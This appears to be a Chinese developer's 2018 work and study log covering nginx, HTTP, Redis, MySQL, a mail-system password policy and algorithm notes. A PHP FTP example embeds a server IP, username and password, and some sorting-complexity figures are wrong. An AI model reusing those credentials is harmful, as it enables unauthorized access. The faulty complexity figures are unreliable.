1.默认采用多进程后台模式启动,可以手动配置成单进程前台模式用于调试,进程数一般和cpu内核数相同,太多进程会导致竞争cpu资源,带来不必要的上下文切换
2.发送kill -HUP pid的信号给master进程,master进程会从新加载配置文件,启动新的worker进程,退出老的worker进程,也是-s reload所做的
3.在master进程建立好需要listen的 socket,然后fork出子进程,子进程抢accept_mutex的互斥锁,抢到的子进程进行 accept处理
4.每个子进程采用异步非阻塞事件处理, select/poll/epoll/kqueue的系统调用,设置超时时间,当事件没准备好时,放到 epoll 里面,事件准备好了,我们就去读写,当读写返回 EAGAIN(再试一次)时,我们将它再次加入到 epoll 里面,线程还是只有一个,在请求间进行不断的循环切换,这里的切换没有代价,只要内存够大就行
5.apache那种简单的多线程,每个请求会独占一个工作线程,当并发数上到几千时,就同时有几千的线程在处理请求占用内存大,线程间上下文切换占用的cpu开销大
6.事件处理通常包含,网络信号(异步非阻塞),信号,定时器(放在一颗维护定时器的红黑树里面)
nginx的connection
1.主进程监听端口创建socket,fork出子进程,子进程互斥锁竞争accept新的连接,三次握手建立连接以后,异步非阻塞读写事件处理,nginx或客户端主动关掉连接
2.每个进程都有连接数的限制,ulimit -n,超过时创建socket会失败
3.nginx能建立的最大连接数 worker_连接数*worker_进程数;作为反向代理时则为worker_连接数*worker_进程数 /2 ,nginx也要请求另外的处理服务占用一个连接
4.利用accept_mutex锁来平衡每个worker进程的连接数
nginx与keepalive
1.http1.0和http1.1都支持长连接,默认1.0是关闭的,1.1是打开的
2.http1.0需要指定Connection:keep-alive表示使用长连接,响应头中会包含content-length,客户端依据这个长度表示接收完成,否则会一直接收数据
3.http1.1不需要指定connection,响应头中Transfer-encoding 为 chunked则会是流式传输,每块会包含当前块的长度;如果非chunked则要有content-length,否则会一直接收直到服务端主动断开
4.keepalive_timeout 来配置超时时间,如果为0则会直接关闭,默认65秒
手写票一般我们叫做“普通发票”,机打票叫做“增值税普通发票”,发票需要去税务局买
2.增值税专用发票,可以进行税款抵扣,需要提供企业名称,纳税人识别号,地址,电话,开户银行,开户账号
3.增值税普通发票提供纳税人识别号,企业抬头
==========================================================================
2018年11月9日 记录:
自动回复的主题乱码:
1.原信的主题没有指定编码
2.可能是qq邮箱的问题
100万个URL如何找到出现频率最高的前100个:
1.放到数组里面,key是url,value是出现次数,排序
2.hash code 版本,hash和url关联起来
3.数据库实现法,伪哈希索引
==========================================================================
2018年11月8日 记录:
企邮webmail的跳转部分
企邮web读取阿里云双读上线
得到等N位为1其它位为0的数,可用1左移N位即得
得到等N位为0其它位为1的数,用前数位反一下即得
修改指定状态位为0,a&=~(1<<29)
修改指定状态位为1,a|=1<<29
beyound compare比较
http://www.94afx.com/a/diannaoruanjian/beyondcompare4.html
==========================================================================
2018年11月7日 记录:
HTTP message:HTTP报文,客户端服务器请求响应模型,是通过HTTP 报文的格式化数据块进行的
HTTP method:HTTP方法
GET:客户端向服务器请求获取资源
POST:客户端发送数据到服务端
PUT:客户端将数据存储到服务器中去
DELETE:从服务端删除命名资源
HEAD:客户端获取命名资源的HTTP头信息
HTTP/应用层==>TCP/传输层==>IP/网络层
HTTP/0.9 ==> HTTP/1.0 ==> HTTP/1.0+ ==>HTTP/1.1 ==> HTTP/2.0
web的结构组件:
1.代理:位于客户端和服务器之间,接收所有请求并转发给服务器
2.缓存:代理缓存或web缓存,下一次请求是缓存提供的服务
3.网关(gateway):将HTTP协议转成其他协议的服务,例如:HTTP/FTP HTTP转到PHP-FPM
4.隧道(tunnel):在HTTP连接上转发非HTTP协议的数据,例如:HTTP/SSL 在HTTP连接上传输SSL数据
==========================================================================
2018年11月6日 记录:
HTTP连接管理:
1.HTTP如何使用TCP连接的
2.TCP连接的时延,瓶颈,存在的障碍
3.HTTP的优化,并行连接,keep-alive,管道连接
4.HTTP就是HTTP over TCP over IP,HTTPS是HTTP和TCP之间插入放入TLS或者SSL
5.保持TCP连接的正确运行,四个值<源ip地址,源端口,目的ip,目的端口
6.HTTP时间线,请求=>DNS查询=>响应=>请求=>服务器处理=>响应=>关闭
7.TCP性能点:TCP连接建立握手(花费50%时间);
TCP延迟确认算法(占第二);
TIME_WAIT时延和端口耗尽(记录最近所关闭连接的IP地址和端口号,2MSL通常2分钟)
TCP慢启动拥塞控制;数据聚集的Nagle算法;
HTTP首部(head头信息)
1.通用首部:Date
通用缓存首部(Cache-Control)
2.请求首部:Accept
条件请求首部(if-),安全请求首部(Authorization)
3.响应首部:Server
4.实体首部(用于主体部分的首部):content-type:
5.扩展首部:非标准的,自己定义的
PHP的脚本执行还是会经过编译环节, 只不过它们一般会在运行的时候实时进行编译
1.启动PHP及Zend引擎, 加载注册的扩展模块
2.读取脚本文件,Zend引擎对脚本文件进行词法分析,语法分析。
3.编译成opcode执行
阿里云读取附件部分的双读改造
测试外发限制部分,有24分钟的缓存时间,php -i|grep "gc_maxlifetime" 1440秒
route add -net 100.118.0.0/16 gw 172.16.228.1 添加网络
==========================================================================
2018年11月5日 记录:
长链接和短链接的优缺点
2.tcp为啥是四次挥手
3.数据库的几大索引,联合索引的最左原则,btree和二叉树的区别
4.redis的底层数据类型,list,set
5.nginx的负载均衡策略,select和epoll的区别
6.统计日志中IP访问量前十的
7.PHP的执行过程opcode,生命周期
8.array函数shift和unshift的区别
9.手写算法顺时针矩阵横竖斜求和相等算法
10.手写二分查找算法
11.设计滴滴发单抢单查看订单系统,日活200w,redis挂了怎么办
12.设计销售BD系统,钉钉考勤签到功能实现,分级审核等功能
13.设计通用审核流的系统,请假啊 财务啊 之类的功能
14.rpc系统
15.http协议里面的499
客户端应该继续发送请求,表示服务器已经接受到了,继续请求
101:理解了客户端请求,并通过Upgrade消息头通知客户端采用新协议通讯,服务器发完后会切换到新协议
102:由webdav(rfc2518)扩展的状态码,代表处理将被继续执行
201:请求已经被实现,新的资源已经建立,uri随location头信息返回
202:服务器已经接受请求,但是不知道结果,异步的时候使用
203:成功处理但是返回的实体头部元信息不是原始服务器上的有效集合
204:成功处理,不返回实体,返回更新了的元信息
205:和204差不多,要求请求者重置文档
4xx系列的错误码是和客户端有关的
nginx自定义的状态码:
495, https certificate error
496, https no certificate
497, http to https
498, canceled
499, client has closed connection是客户端等到超时主动关掉的
分表的方式,是横向还是纵向,是以用户来分,还是以时间或者商家。 或者多维度,多维度的情况下,如何进行表数据之间的同步
2.查询订单,肯定是要有一定的时间限制,比如最近3个月的,其他的以一定的时间规则归档,查询时候是进入另外的数据表查询,没法查全部
3.缓存MEMCACHE 使用原子性操作add,实现并发锁
4.遇到大的问题,那么就缩小范围,限制住他的思路
==========================================================================
2018年11月2日 记录:
下午请假
==========================================================================
2018年11月1日 记录:
nginx切换改造项目,https测试支持问题改造
1.访问http://mail.sina.net
强制跳转问题
资源路径问题
页面内链接问题
安卓问题:
客户端现有问题是,修改密码后还会调用登陆接口,没有正常提示文本信息,退出也退出不了
==========================================================================
2018年10月31日 记录:
流媒体服务器(Nginx+rtmp)
docker下安装宝塔面板更安全
存储服务器-云盘
分布式文件系统
应用服务器
web服务器
数据库平台
反垃圾的网关服务
日志服务器-每天发送一次,各web服务器的syslog-ng
二叉查找树中的结点是2-结点(一个键两条链),引入3-结点(两个键三条链),即成2-3树;然后将2-3树中3-结点分解,即成红黑树,故结合二叉查找树易查找和2-3树易插入的特点,便成了红黑二叉查找树,简称红黑树。
2.B树每一个结点可以有几个到几千个孩子,降低树的高度,减少磁盘io,顶部几层被反复查询存在内存中,剩余的存在磁盘中
3.含n个结点的b树高度也是lgn,分支因子大,高度小很多,
==========================================================================
2018年10月30日 记录:
明天导一下应该修改密码的列表
排序算法:
非线性比较类:
交换排序
冒泡:平均O(n^2),最坏O(n^2) 最好O(n) 空间O(1) 稳定
快速:平均O(nlogn),最坏O(n^2),平均O(nlogn),空间O(nlogn) 不稳定
插入排序
插入:平均O(n^2),最坏O(n^2) 最好O(n) 空间O(1) 稳定
希尔:平均O(n^1.3),最坏O(n^2),最好O(n),空间O(1) 不稳定
选择排序
选择:平均O(n^2),最坏O(n^2),最好O(n^2),空间O(1) 不稳定
堆 :平均O(nlogn),最坏O(nlogn),平均O(nlogn),空间O(1) 不稳定
归并排序
二路归并:平均O(nlogn),最坏O(nlogn),平均O(nlogn),空间O(1) 稳定
多路归并
线性非比较类:
计数:平均O(n+k),最坏O(n+k),最好O(n+k),空间O(n+k) 稳定
桶:平均O(n+k),最坏O(n^2),最好O(n),空间O(n+k) 稳定
基数:平均O(n*k),最坏O(n*k),最好O(n*k),空间O(n+k) 稳定
稳定:原来a在b前面,a=b,排序后a任然在b前面 冒泡,插入,归并,计数,桶,基数
不稳定:a=b,排序前a在b前面,排序后可能在后面,快速,希尔,选择,堆
冒泡:
1.比较相邻元素,从第一个开始较大的逐渐往后移动,后面是所有已经排好序的了
2.for{for{}},arr[j]>arr[j+1]
选择:
1.两层循环,假定第一层循环的i元素是最小值,
2.内层循环找出比i还小的元素,交换下他们
按位& | ~ ^ 与或非 异或
2.&与运算 0&0=0 1&0=0 1&1=1
3.fgetss函数的bug,遇到<会把后面的所有内容都替换成空白
4.rpm -q dpkg -L 两个查询包命令的
==========================================================================
2018年10月29日 记录:
Redis Cluster的架构图:REmote DIctionary Server。
1.所有的redis节点彼此互联(PING-PONG机制)
2.节点的fail是通过集群中超过半数的节点检测失效时才生效
3.客户端与redis节点直连,不需要中间proxy层
4.redis-cluster把所有的物理节点映射到[0-16383]slot上(哈希槽)
Redis分布式锁:不同的进程必须以独占资源的方式实现资源共享
https://github.com/ronnylt/redlock-php/
1.社区给了个redlock锁的实现类
2.最低实现就是独享,无死锁,容错
3.当前时间,随机值,依次尝试的实现
Redis与其他key-value存储有什么不同?
1.复杂的数据结构并且提供对他们的原子性操作
2.运行在内存中但是可以持久化到磁盘
3.键值对越多开销越大,放到一个key里就小很多
4.采用多个Redis节点通过客户端Hash的办法解决了大数据集分配的问题
5.访问MySQL的数据只能通过主键(ID) 。执行查询操作时,通过Redis读取数据;使用redis的数据结构创建二级索引
分布式理解:
1.一个需要巨大资源的计算分成小的部分,分配给多台独立的服务器,计算结果综合后得到最终结果
2.分布式网络存储技术是将数据分散的存储于多台独立的机器设备上
顺时针打印矩阵:
1.行数和列数取出来row,col,圈数就是 (较小值-1)/2+1
2.外层循环控制圈数,内层四个for循环,i
3.第一个for循环,从左到右,j=i;j
6.第四个循环,从下到上,n=row-2-i;n>=i&&col-1-i!=i;n-- arr[n][i]
编译原理-有限自动机:
不确定的有限自动机(NFA),一种数学模型;确定的有限自动机(DFA),是NFA的特殊情况
==========================================================================
2018年10月26日 记录:
根据企邮被禁用的发垃圾的账号,查询它们最近7天的海外SMTP登录IP(排除中国大陆和港澳台以及查询失败的),
共45077个海外IP,已经全部查封。被查封的IP进行企邮SMTP/POP/IMAP登录均会失败。
汇编语言中有一种移位指令叫做循环左移(ROL),现在有个简单的任务,就是用字符串模拟这个指令的运算结果。对于一个给定的字符序列S,请你把其循环左移K位后的序列输出。例如,字符序列S=”abcXYZdef”,要求输出循环左移3位后的结果,即“XYZdefabc”。是不是很简单?OK,搞定它!
1.字符串翻转,前n位取模长度,abc翻转成cba 后面的翻转成fedXYX ,然后再统一翻转 XYZdefabc
2.第二种思路,字符串复制一份拼接在一起,截取从n开始到len长度的子字符串,n也是要取模
当有一天我看到一棵奇怪的树,第一反应是想拍下来给你看,我就知道大事不好了。
HRBP(HR BUSINESS PARTNER)
Electron使用 JavaScript, HTML 和 CSS 构建跨平台的桌面应用
==========================================================================
2018年10月25日 记录:
MYSQL随机提取一条记录:SELECT * FROM tablename ORDER BY RAND() LIMIT 1。
常用的解决思路:
1.暴力穷举(递归,回溯),n个数的全排列,八皇后问题
2.分治法(分而治之,然后归并),空间换时间(活用哈希表)
3.选择合适的数据结构,寻找最小的k个数(堆代替数组)
4.如果题目允许排序,优先排序,已经排好序的可以考虑二分
5.不改变队列顺序的贪心和动态规划
回溯法,按照深度优先的原则从根结点出发搜索解空间树,总是先判断该结点是否肯定不包含问题的解,如果肯定不包含,则跳过该结点为根的子树搜索,逐层向其祖先结点回溯,求问题的所有解时,要回溯到根,且根结点的所有子树都已被搜索才结束
2.用for循环+递归方式求解
for循环套在外层,表示遍历数组的第i个数字;内层递归表示结果list里的第i个数字
==========================================================================
2018年10月24日 记录:
前后端分离的验证码问题
1.生成验证码的数字存mememchache,key是唯一id 返给前端
2.验证时,前端带着id来 查找对应的验证码申诉自
回溯法(探索与回溯法)是一种选优搜索法,又称为试探法,按选优条件向前搜索,以达到目标,原先选择并不优或达不到目标,就退回一步重新选择
2.回溯法从根节点开始按深度优先搜索策略形成的树称为状态空间树
==========================================================================
2018年10月23日 记录:
企管调用mic的部分,ip改成域名的形式
输入一个字符串,按字典序打印出该字符串中字符的所有排列。例如输入字符串abc,则打印出由字符a,b,c所能排列出来的所有字符串abc,acb,bac,bca,cab和cba。
思路:
1.利用递归形成递归树,达到深度优先,固定首字母的效果
2.得复位以后才能再次深度优先
3.回溯法思想
4.一张图和一个运行过程,只能慢慢体会了
mysql `updateDate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
插入自动更新当前时间;更新自动更新当前时间
==========================================================================
2018年10月22日 记录:
我们可以用2*1的小矩形横着或者竖着去覆盖更大的矩形。请问用n个2*1的小矩形无重叠地覆盖一个2*n的大矩形,总共有多少种方法?斐波那契数列
堆(二叉堆):可以视为一棵完全的二叉树,除了最底层之外,每一层都是满的,这使得堆可以利用数组来表示,每一个结点对应数组中的一个元素
2.给出某个结点的下标,可以计算出父结点的和孩子结点的下标; parent(i)=floor(i/2) left(i)=2i right=2i+1
3.最大堆和最小堆,最大堆:根结点是最大值,最小堆:根结点是最小值
4.堆排序就是把最大堆堆顶的最大数取出,剩余的堆继续调整为最大堆,再次将堆顶的最大数取出,直到剩余数只有一个结束
5.最大堆调整(维护最大堆,子节点永远小于父结点) ;创建最大堆(把一个数组调整成最大堆的数组);堆排序(创建最大堆,交换,维护最大堆)
maxHeapify (array,index,heapSize) //最大堆调整
iMax,iLeft,iRight
while true
iMax=index;iLeft=2*index+1;iRight=2*index+2
如果根结点小于左右子树里结点值,就交换一下这两个值
利用第三方变量,交换下两个值
buildMaxHeap(array) //创建最大堆,把一个数组调整成最大堆的数组
iParent=floor((size-1)/2)
for i=iParent;i>=0;i--
maxHeapify (array,i,size)
sort(arr)
buildMaxHeap(array, heapSize);//创建最大堆
for (int i = heapSize - 1; i > 0; i--) {
swap(array, 0, i); //交换第一个和最后一个
maxHeapify(array, 0, i);//维护最大堆,size小了一个
==========================================================================
2018年10月19日 记录:
字符串的全排列:
1.输入一个字符串,输出字符串中字符的所有排列
2.从集合中依次选出每一个元素,作为排列的第一个元素,然后对剩余的元素进行全排列,如此递归处理
==========================================================================
2018年10月18日 记录:
判断一个字符串是否是回文:
同时从字符串头尾往中间扫描字符串,如果所有字符都一样,就是一个回文
start=0 end=str.size()
while(start<=end){
if str[start]!=str[end]
return false
++start
--end
}
最长回文字串:
枚举中心位置
==========================================================================
2018年10月17日 记录:
account对象存储在session的memcache中,保存时间是1440秒
==========================================================================
2018年10月16日 记录:
最长公共子串和最长公共子序列
==========================================================================
2018年10月15日 记录:
字符串翻转:
1.abcdef 转成 defabc
2.abc-> cba def->fed
3.cbafed-> defabc
字符串逆序的函数
while($from<$to){
$t=$str[$from];
$str[$from++]=$str[$to];
$str[$to--]=$t;
2.字符串逆序的函数:
第一个字符和最后一个字符调换,第二和倒数第二调换,from++ to--,用一个temp临时变量,while循环条件from
给定一个字符串str,请在单词间做逆序调整,举例:
“pig loves dog”逆序成“dog loves pig”。
1.整个字符串全部逆序 abc def => fed cba
2.遍历,找到空格分隔,每一个单词再次逆序 dfe abc
4.字符串移位
给定一个字符串str,以及一个整数i.i代表str中的位置,然后将str【0】到str【i】移动到字符的右侧,将str【i】到str【n-1】的字符串移动到左侧。
就是上面的三步反转字符串
5.拼接最小字典序
==========================================================================
2018年10月12日 记录:
==========================================================================
2018年10月11日 记录:
请实现一个函数,将一个字符串中的每个空格替换成“%20”。例如,当字符串为We Are Happy.则经过替换之后的字符串为We%20Are%20Happy。
==========================================================================
2018年10月10日 记录:
模板重复打印问题,查看生成的php缓存文件,已经出现两次了,很明显就是多次include模板了
4.迪杰克斯拉算法核心,一组包含已经找到最短路径的顶点,另一组包含剩余未确定最短路径的顶点,以起始点为中心向外遍历直到搜索到终点为止,穷举策略
P //最短路径下标数组
D //各点最短路径的权值和
求v0到v的最短路径P[v] 和 带权长度 D[v]
for v=0;v
D[v] = G[v0][v] //与v0点有连线的顶点加上权值
P[v] =0
D[v0]=0 //v0到v0的路径为0
final[v0]=1 //v0到v0不需要求路径
for v=1;v
==========================================================================
2018年10月9日 记录:
Redis hash 是一个string类型的field和value的映射表,hash特别适合用于存储对象。
1.hmset clickcout ip "127.0.0.1" product_id "123" time "15234343434"
2.HGETALL clickcout
zadd clickcout 205 id_124
2..sort clickcout by id_* limit 0 10 desc
(error) MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error.
1.强制关闭redis快照引起的
2.config set stop-writes-on-bgsave-error no
最短路径问题的实际例子:
1.路程最短,时间最短,换乘最少,实际地图场景比这些更复杂
2.非网图可以理解为所有边为1的网
3.迪杰斯特拉算法是按照路径长度递增次序产生最短路径的算法,并不是一下子就求出v0到v8的最短路径,而是一步一步求出他们之间顶点的最短路径
==========================================================================
2018年10月8日 记录:
同时包含数字、大写字母、小写字母、特殊字符中三种组合 70004
连续3位及以上数字不能连号(例如123、654)70005
连续3位及以上字母不能连续和相同(例如abc、cba aaa) 70006
密码不包含账号 70007
长度8到20位 70002
日志业务的流程:
应用产生日志→采集→传输→按需过滤与转换→存储→分析与查看。
2.根据数据的不同维度,对数据进行分类、分级。例如:我们从日志中区分error、info、和 debug
3.平台扩展做加减法,我们在查询时都增加分布式缓存,纵向扩展:如增加扩展磁盘和内存。
JavaScript由三部分组成:
1. ECMAScript(核心)作为核心,它规定了语言的组成部分:语法、类型、语句、关键字、保留字、操作符、对象
2. DOM(文档对象模型)
3. BOM (浏览器对象模型)
4. ECMAScript第五个版本 ES6是第六个版本
5. ES6 块级作用域 关键字let, 常量const,对象字面量的属性赋值简写,赋值解构,函数参数 - 默认值、参数打包、 数组展开(Default 、Rest 、Spread),
箭头函数 Arrow functions,字符串模板 Template strings,Iterators(迭代器)+ for..of,生成器 (Generators),class,Modules,Map + Set + WeakMap + WeakSet,Promises是处理异步操作的对象,Symbol是一种基本类型通过调用symbol函数产生,Symbol是一种基本类型。Symbol 通过调用symbol函数产生
wepy小程序开发组件
7.Weex框架可在本地像编写 web 页面一样编写一个 app 的界面,然后通过命令行工具将之编译成一段 JavaScript 代码,生成一个 Weex 的 JS bundle
能够完美兼顾性能与动态性,让移动开发者通过简捷的前端语法写出Native级别的性能体验,并支持iOS、安卓、YunOS及Web等多端部署。巨坑
从某个源点到其余各顶点的最短路径问题:
1.人脑是来创造而不是做枯燥复杂的计算的,那些背圆周率的有啥意义
2.迪杰斯特拉算法,思路是:v0,v1,v2,v3,v4,v5
v0到v1到v2 v0到v1到v3 v0到v1到v4 v0到v1到v5 所有可能性都算一遍,取最小的边
==========================================================================
2018年9月30日 记录:
网图和非网图,最短路径的含义不同,非网图没有边上的权值,指两点之间经过的边数最少的路径
2.
明天国庆节
==========================================================================
2018年9月29日 记录:
is_uploaded_file — 判断文件是否是通过 HTTP POST 上传的
如果 filename 所给出的文件是通过 HTTP POST 上传的则返回 TRUE。这可以用来确保恶意的用户无法欺骗脚本去访问本不能访问的文件,例如 /etc/passwd。
普里姆算法:
1.adjvex保存相关顶点的下标
2.lowcost保存相关顶点间边的权值
3.for i=1;i
lowcost[i]=G->arc[0][i]//将其他所有顶点与V0顶点的边的关系权值存数组,key是其他顶点的下标
adjvex[i]=0 //初始化所有顶点
4.for i=1;i
min=65535
j=1 k=0
while j
if lowcost[j]!=0 && lowcost[j]
k=j //与V0点距离最小的下标赋给k
j++
注意:adjvex[k]和k此时的值
lowcost[k]=0 //把顶点k入树
for j=1;j
if lowcost[j]!=0 && G->arc[k][j]
adjvex[j]=k
5.核心就是找这个图里面所有点,两两之间的最小边,并且要注意已经访问过的就不要重复了,所以至少两层循环才可以
==========================================================================
2018年9月28日 记录:
最小生成树:
1.例子在村庄之间架设通信网络,村庄之间有不同的距离,用最小的成本完成这次任务
2.这是个带权值的图,即网结构,所谓最小成本就是n个顶点用n-1条边,权值和最小
3.连通图的生成树是一个极小的连通子图,足以构成一棵树的n-1条边,构造连通图的最小代价生成树称为最小生成树
4.两种经典算法:普里姆算法和克鲁斯卡尔算法
==========================================================================
2018年9月27日 记录:
图的深度优先遍历类似前序遍历,图的广度优先类似树的层序遍历
2.将图进行变形,根据顶点和边的关系进行层次划分,使用队列来进行遍历
3.广度优先遍历的关键点是使用一个队列来把当前结点的所有下一级关联点存进去,依次进行
邻接矩阵的广度优先遍历:
BFS(G)
for i=0;i
visited[i]=false;//检测是否访问过
for i=0;i
visited[i]=true //当前顶点访问
InQueue(i) //当前顶点入队列
while(!QueueEmpty()) //当前队列不为空
i=OutQueue() //队列元素出队列
for j=0;j
if G->arc[i][j]==1 && !visited[j] //当前顶点与其他顶点存在关系并且未被访问
visited[j]=true //标记此顶点
InQueue(j) //此顶点入队列,会排在后面等前面一层的全遍历完才会遍历这个
==========================================================================
2018年9月26日 记录:
排序算法稳定性:
1.如果Ai = Aj,排序前Ai在Aj之前,排序后Ai还在Aj之前,则称这种排序算法是稳定的,保证排序前后两个相等的数的相对顺序不变
2.排序算法如果是稳定的,那么从一个键上排序,然后再从另一个键上排序,前一个键排序的结果可以为后一个键排序所用
3.稳定性算法:
冒泡 平均n^2 最好n 最坏n^2
不稳定算法:
选择 平均n^2
山一程,水一程,身向榆关那畔行,夜深千帐灯。 风一更,雪一更,聒碎乡心梦不成,故园无此声
==========================================================================
2018年9月25日 记录:
图的邻接表实现方式:
1.顶点数组,需要存储指向第一个邻接点的指针
2.每个顶点Vi的所有邻接点构成一个单链表,无向图称为顶点Vi的边表,有向图称为顶点Vi作为弧尾的出边表
==========================================================================
2018年9月21日 记录:
快速排序:
1.基于二分的思想
2.第一个作为基准数,左右各一个指针,同时扫描,右边先走,找到比基准数小的停下
左边再走,找到比基准数大的停下,左右交换
3.当左右相遇的时候,把当前的和基准数调换,递归调用
4.快速排序的最差时间复杂度和冒泡排序是一样的都是O(N2),它的平均时间复杂度为O(NlogN)
quickSort &arr,left,right
if left>right return
temp=arr[left]
i=left
j=right
while i
while arr[i]<=temp && i
t=arr[i]
a[i]=arr[j]
a[j]=t;
arr[left]=arr[i]
arr[i]=temp
quickSort(arr,left,i-1)
quickSort(arr,i+1,right)
奥帆中心
八大关 第二海水浴场 海军博物馆 鲁迅公园 小青岛公园 栈桥
天主教堂→胶澳总督府旧址→江苏路基督教堂→德国总督府旧址→信号山公园→德国监狱旧址博物馆
中国海洋大学(鱼山校区)→大学路→鱼山路→中山公园→奥帆中心→五四广场
流清→太清宫→华严寺→仰口
深度优先遍历DFS:
DFSTravserse G
for i=0;i
DFS(G,i)
DFS G,i
visted[i]=true
print G.vexs[i]
if G.arc[i][j]==1 && !visited[j]
DFS(G,j)
==========================================================================
2018年9月20日 记录:
php连ftp:
ini_set('display_errors', 'On');
error_reporting(E_ALL);
$connection = ftp_connect('121.43.225.32', 21, 60) OR die('connection failure');
ftp_login($connection, 'ringochan', 'ringochan') OR die('login failure');
ftp_pasv($connection,false);//关键
var_dump(ftp_pwd($connection));
var_dump(ftp_nlist($connection, "/"));
ftp_close($connection);
linux ftp客户端
open 121.43.225.32
ls
put /home/ubuntu/taoshihan.txt snow.wolf2.txt
get snow.wolf2.txt a.txt
PORT模式:当数据传输时,客户端建立套接字接听。绑定port中的端口。服务器中使用的端口是20;
PASV模式:当数据传输时,服务端建立套接字接听。客户端去连接pasv中指定的端口。这时候服务器端用的端口不是20,而是pasv中的端口。
php7.0中的错误日志的配置
/etc/php/7.0/cli/php.ini
图的物理存储的实现:
邻接矩阵 邻接链表 十字链表 邻接多重表
有向图的存储方法:十字链表
无向图存储的优化:邻接多重表
图的遍历:
1.从图中某一顶点出发访遍图中其余顶点,且使每个顶点仅被访问一次
2.需要给访问过的顶点打上标记,设置个数组visited[n],访问过后设置为1
3.遍历次序:深度优先遍历和广度优先遍历
深度优先遍历DFS:
1.类似走迷宫右手定则,走一个做标记,一直往右走,直到重复了,就退回上一个顶点
2.从某个顶点v出发访问和v有路径相通的顶点,递归调用
==========================================================================
2018年9月19日 记录:
pdo获取受影响的行数:
$stmt=$pdo->prepare($sql);
$bool=$stmt->execute();
$rowCount=$stmt->rowCount();
我的187测试机的adminlog地址:
/mnt/entmail/ent_pent/appdev.sinanet.com/adminlog/
线上是:
/mnt/email_vol/ent_pent/sunway-logistics.sinanet.com/adminlog
cat 2018.log |awk -F '\t' '{print $6}'|while read msg;do base64 -d ;done|grep pame
curl模拟header:
curl -H "Host: www.baidu.com" -H "User-Agent: PostmanRuntime/6.4.1" "https://www.baidu.com" -v
邻接矩阵实现图的创建:
1.for i=0;i
for j=0;j
G->arc[i][j]='权'
2.图的存储,数组与链表相结合的方法称为邻接表
2.1图中的顶点用一维数组存储
2.2顶点Vi的所有邻接点构成一个线性表
2.3顶点数组由 data数据域和firstedge指针域构成,firstedge指向边表第一个结点
2.4 边表结点由adjves域存储顶点表下标,next存储指向下一个的指针,如果有权值就加个weight的数据域就可以
==========================================================================
2018年9月18日 记录:
mysql的并发控制:
1.只要有多个查询在同一时刻修改数据,都会产生并发控制的问题
2.unix下的email box,通过锁防止数据损坏,多个同时投递要等待锁释放才能进行,不支持并发
3.在处理并发读或者写时,有两种类型的锁共享锁和排他锁;也叫读锁和写锁
4.读锁是共享的,相互不阻塞,同一时刻可以同时读取同一个资源;写锁是排他的,一个写锁会阻塞其他写锁和读锁
5.锁的策略就是在锁的开销和数据安全性之间寻找平衡,因为行级锁虽然支持并发但是性能消耗比较多
6.表锁,开销最小的策略,一个用户对表进行写操作时,先获得写锁,会阻塞其他用户对该表的所有读写操作,只有没有写锁时,其他用户才能获得读锁,读锁是不会相互阻塞的
7.行级锁,最大程度支持并发处理,但是会有很大的锁开销
8.读读不互斥,读写互斥,写写互斥
stripos — 查找字符串首次出现的位置(不区分大小写),应使用 === 运算符来测试此函数的返回值
if(stripos($newpwd,$account->getLocal())!==false){}
curl cookie
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookiefile");
==========================================================================
2018年9月17日 记录:
增强密码组合策略,数字、大小写字母、特殊字符中3种组合,长度8到20位。
密码规则:
• 长度8到20位
• 密码不包含账号和空格
• 连续3位及以上数字不能连号(例如123、654)
• 连续3位及以上字母不能连续(例如abc、cba)
• 不能包含连续3个及以上相同字符(例如aaa、rrr)
• 同时包含数字、大写字母、小写字母、特殊字符中三种组合
直接判断长度8到20之间
2.定义一个关联数组,大写,小写,字母,数字,默认对应都是0,字符转成ascii码,遍历字符串根据码表范围判断,如果符合就修改对应的数组元素为1
3.数组求和小于3的说明没有符合任三种组合
4.正则取出对应的数字,遍历从0开始到arr.length-2为止,a=arr[i]-arr[i+1]取绝对值,b=arr[i+1]-arr[i+2]取绝对值,
a==b==1说明三个是连续的 a==b==0说明三个是一样的
5.正则取出字母,转成ascii码,处理规则与上面的一样
图的存储结构:
1.顶点是逻辑上的相对的概念
2.不可以用顺序存储,不可以像多重链表,一个数据域多个指针域,浪费太大
3.邻接矩阵,两个结构分别存储,顶点用一个一维数组,边是顶点和顶点的关系用二维数组存储
3.1 一维数组存顶点(v0,v1,v2) ,二维矩阵存关系 , 无向图是一个对称矩阵
v0 v1 v2
v0 0
v1 0
v2 0
3.2 判断顶点Vi和Vj是否存在弧,只需查找矩阵arc[i][j]V
4.图结构定义
MGraph
vexs[3] //顶点
arc[3][3]//边
numVex//顶点数 numArc//边数
==========================================================================
2018年9月14日记录:
未正确使用安全带
2.定点停车超过边线30cm未超过50cm
3.曲线行驶左后轮压线
4.坡道起步溜车超过50cm
5.倒车入库左前轮压七米线
==========================================================================
2018年9月12日 记录:
大附件问题:
1.nginx超时
2.读取mda的返回超时
删除重复的结点:
1.在一个排序的链表中,存在重复的结点,请删除该链表中重复的结点,重复的结点不保留,返回链表头指针。 例如,链表1->2->3->3->4->4->5 处理后为 1->2->5
图数据结构:
1.第一个顶点到最后一个顶点相同的路径称为回路或环,顶点不重复出现的称为简单路径;除顶点和最后一个顶点不重复出现的回路,称为简单回路或简单环
2.连通图,所有的顶点都可以连通;无向图中的极大连通子图称为连通分量,子图要连通具有极大顶点数
图的抽象数据类型
1.createGraph(*G,v,vr):顶点集v和边弧集vr构造图
2.locateVex(G,u):存在顶点u,返回图中的位置
3.getVex(G,v):返回G中国顶点v的值
4.
==========================================================================
2018年9月11日 记录:
1.图数据结构,周游中国,地图路线选择,寻找最短路径;一对一 一对多 多对多
2.图中的数据元素称为顶点,不允许没有顶点,顶点之间的关系用边表示
3.无向边:边没有方向,图中任意边都是无向边,称为无向图;有向边又称为弧,A到D,A是弧头,D是弧尾
4.无向图中,任意两个顶点都存在边,该图为无向完全图;有向图中就是有向完全图;
5.与边相关的数称为权,带权的图称为网;路径的长度是路径上边的数目
输入两个链表,找出他们的第一个公共结点:
==========================================================================
2018年9月10日 记录:
linux stat 命令查看文件信息:
文件的访问时间、修改时间、状态改变时间
复杂链表的复制(每个结点中有结点值,两个指针,一个指向下一个结点,另一个指向任意一个结点),返回复制后复杂结点的head
Apache ServiceComb (incubating)
2.ServiceComb提供了一套包含代码框架生成,服务注册发现,负载均衡,服务可靠性(容错熔断,限流降级,调用链追踪)等功能的微服务框架。
